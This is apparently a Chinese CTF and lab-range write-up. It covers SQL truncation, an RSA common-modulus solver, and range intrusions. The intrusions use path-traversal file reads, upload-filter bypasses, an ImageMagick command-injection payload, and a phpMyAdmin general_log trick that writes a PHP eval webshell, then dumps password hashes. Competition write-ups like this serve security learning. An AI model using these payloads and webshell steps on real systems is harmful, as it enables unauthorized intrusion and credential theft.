巅峰极客第二场wp

比赛是ctf+靶场 靶场大概也算web 内网渗透之类的

ctf

web

题目直接说了sql注入 一个注册页面 一个登陆页面

首先简单测试一下 随便注册个账号 登陆说你不是admin拿不到flag

去注册admin说该用户已存在

这里我先测试了每个参数是否存在注入点 然后都gg

登陆页面没回显信息 注册页面也没多余的信息 应该也不是二次注入

然后想到了万能密码登陆 username=admin’ or 1#&password=1 之类的

试了试也都不行

又想到了mysql字符编码的操作 比如 admin%c2之类的 还不行
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

那应该就是那个截断的操作了

去注册

admin 1

空格后带不带东西应该都行

重置admin的密码 然后用 admin 登陆即可

这玩意也第三次见了

crypto

n1 n2 一样 e1 e2 不同 c1 c2 不同

rsa的共模攻击

给的是

1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQEAiYmjmJiEVrP+9Katht88
mVd/iXgEjeVDa+/DDY2MlJWJEqpSb/MztmhXMG67jeNsLDlqhO/cXTglAtqho/O2
6XUC0uMchJMw9bTJUlehSal/WVTq+JNBFHrc3U6VD/904wu+Yih2tC7qyG30rZcV
0FtWBKqBeUJMfZrEa9a18yKytXKLoUhwSiWo78wefITqflzj4BcD8E+UpDHZlUvX
rix91uh5s1+KLUpe++c3JXv5m9nuZrFa/yM/x3tVikh9pZUvviuSPanF60Z4jAUD
Nrfjal7YLVwbKusORb7kBcvnJIHbJWiqgp7qyH0gGlqP9e5vC+OBkqsoOWNfbGZC
FwICCR0=
-----END PUBLIC KEY-----

这种公钥格式的 openssl跑一下拿到 n 和 e

openssl rsa -in public.key -pubin -noout -text -modulus

这里python也行 不过那个库 windows我安装老报错 ubuntu下就没事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.PublicKey import RSA
with open(‘./pubkey2.pem’, ‘r’) as f:
key = RSA.importKey(f)
n = key.n
e = key.e
print n
print e

然后这里有个坑点 密文c1 c2 不是16进制格式的 长得比较像base64

但我解了下发现是乱码 就没解base64直接转hex了 然后怎么都算不出来。。。

这里当时智障了 因为乱不乱码根本没影响 反正都要转hex的 乱码知识ascii乱而已。。。

所以就是普通的脚本加个base64解码就能跑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import gmpy2
import libnum
import base64
n = 0x8989A398988456B3FEF4A6AD86DF3C99577F8978048DE5436BEFC30D8D8C94958912AA526FF333B66857306EBB8DE36C2C396A84EFDC5D382502DAA1A3F3B6E97502D2E31C849330F5B4C95257A149A97F5954EAF89341147ADCDD4E950FFF74E30BBE622876B42EEAC86DF4AD9715D05B5604AA8179424C7D9AC46BD6B5F322B2B5728BA148704A25A8EFCC1E7C84EA7E5CE3E01703F04F94A431D9954BD7AE2C7DD6E879B35F8A2D4A5EFBE737257BF99BD9EE66B15AFF233FC77B558A487DA5952FBE2B923DA9C5EB46788C050336B7E36A5ED82D5C1B2AEB0E45BEE405CBE72481DB2568AA829EEAC87D201A5A8FF5EE6F0BE38192AB2839635F6C664217
e1 = 0x91d
e2 = 0x5b25
c1 = int(base64.b64decode(open('flag1.enc','rb').read()).encode('hex'),16)
c2 = int(base64.b64decode(open('flag2.enc','rb').read()).encode('hex'),16)
def common_modulus(n, e1, e2, c1, c2):
"""
ref: https://crypto.stackexchange.com/questions/16283/how-to-use-common-modulus-attack
∵gcd(e1,e2)==1,∴由扩展欧几里得算法,存在e1*s1+e2*s2==1
∴m==m^1==m^(e1*s1+e2*s2)==((m^e1)^s1)*((m^e2)^s2)==(c1^s1)*(c2^s2)
"""
assert (libnum.gcd(e1, e2) == 1)
_, s1, s2 = gmpy2.gcdext(e1, e2)
# 若s1<0,则c1^s1==(c1^-1)^(-s1),其中c1^-1为c1模n的逆元。
m = pow(c1, s1, n) if s1 > 0 else pow(gmpy2.invert(c1, n), -s1, n)
m *= pow(c2, s2, n) if s2 > 0 else pow(gmpy2.invert(c2, n), -s2, n)
return m % n
flag = common_modulus(n, e1, e2, c1, c2)
flag = libnum.n2s(flag)
print flag

libnum.n2s确实挺方便的 以前不知道 hex(msg)[2:].decode(‘hex’) 就很麻烦
详细可以看
https://blog.csdn.net/qq_33438733/article/details/79297527

还有学到了几个python小技巧

from xx impoet * 比 import xx 在使用时不用 xx.ways 可以直接ways

misc

word 改成zip一个一个翻就行

后来见有师傅word中光标移到flag后面 此时字体会直接显示

靶场

参考
http://120.79.189.7/?p=479
https://www.o2oxy.cn/1749.html
https://mp.weixin.qq.com/s/ivQLNSCMaH-zXrAqBUEiCg
https://mp.weixin.qq.com/s?__biz=MzIyNTI0ODcwMw==&mid=2662123198&idx=1&sn=d21c18a4656838e593055a969ec355c3&chksm=f35af26ec42d7b7878a6958e0d43d889cd79182942352f50f5f1dac09942a62487d506f652c3&mpshare=1&scene=23&srcid=0828DsBqxPSECrP6NQf7qpf7#rd

抛转引玉

扫描了一下有一个www.zip

然后打开一下 ,找到config.php 发现题目的root 密码

然后发现是PHPOA,然后wooyun搜下phpoa有任意文件下载,直接下载config.php即可
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-063280.html

这里师傅的吐槽真是23333

/down.php?urls=data/../config.php

可以拿到nyoa的密码(问题2)

问题三应该是个sql

暗渡陈仓

虚实相接,需要出题者以声东击西的招式准备的歧路,找到正确的栈道。

1.提交上传点的地址的name(例如答:/xxxxx/)

2.提交系统管理员Hack用户的全名

3.超级管理员用户桌面根目录admin.txt文件的内容

AVWS扫描 获取到上传的点 /u-Are-Admin/u-upload-file/

这里不扫也能发现目录:

右键查看源代码发现图片路径是u-Are-Admin 然后用任意读取downloadfile.php?file=读download.php发现路径是u-uploads-file

上传php 不行 大小写绕过 PHP 或者 phP

拿到shell后 net user

发现hack 全名是Hacked356

getshell后发现为最高权限,直接菜刀找到 c:\documents and sttings\administrator\桌面\admin.txt,读取即可

瞒天过海

目的不是为了瞒天,只是做出题目的一种手段。

1.提交后台管理员密码

2.提交mysql密码

3.提交C盘根目录password.txt内容

注入拿到后台管理员密码

再注入 读取mysql.user的password列,然后解hash

再再注入利用load_file()可以读password.txt

或者进入后台之后有上传 上传会自动加.jpg 发现有任意读取。直接读根目录password.txt

/classes/downloadfile.php?file=../../../../../../../../../../../password.txt

偷梁换柱

赛题是那样无情残忍,无义无理取闹,稍有踟蹰,他就偷梁换柱。

1.提交后台admin用户的密码

2.提交系统管理员ichunqiu用户的全名

3.提交/tmp/access.log的内容的前16位

扫描发现存在/.git/目录,利用githack下载下来源码,源码中发现默认的sql文件,里面有账户密码

然后发现文件上传 对照源码

发现会自动加 png后缀 并且发现了ImageMagick

所以这里有两条路

先说第一种 直接上传绕过

中文.jpg.png
3.jpg.png
3.png.png
3”.php.png
3’.php.png

最终3.php.png或者3.php.png/.php可以

第二种 ImageMagick

push graphic-context

viewbox 0 0 640 480

fill ‘url(https://xxxxxx/1.jpg”|ls > /var/www/html/1.txt”)’

pop graphic-context

就可以执行任意命令 然后分别读取/etc/passwd 和 /tmp/access.log

反客为主

以静谋动,反客为主,掌握真正的大权,才能不任人摆布。

1.提交phpStudy目录下Documents.txt的内容

2.提交系统用户/ichunqiu的密码

3.提交ichunqiu用户Desktop根目录password.txt的内容

发现有任意读取info/include.php?filename=../../../../../../../../../../windows/win.ini

info/include.php?filename=../../../../../../../../../../windows/info.txt

虽然用不到。。

然后扫目录发现phpmyadmin服务,用弱口令root/root登进去,然后genernal log getshell。

这种方法sctf考过

show variables like ‘%general%’;  #查看配置

set global general_log = on;  #开启general log模式

set global general_log_file = ‘C:/phpStudy/WWW/1.php’;   #设置日志目录为shell地址

select ‘<?php eval($_POST[cmd]);?>’;  #写入shell

进去传QuarksPwDump 可以跑出HASH cmd5解密得到密码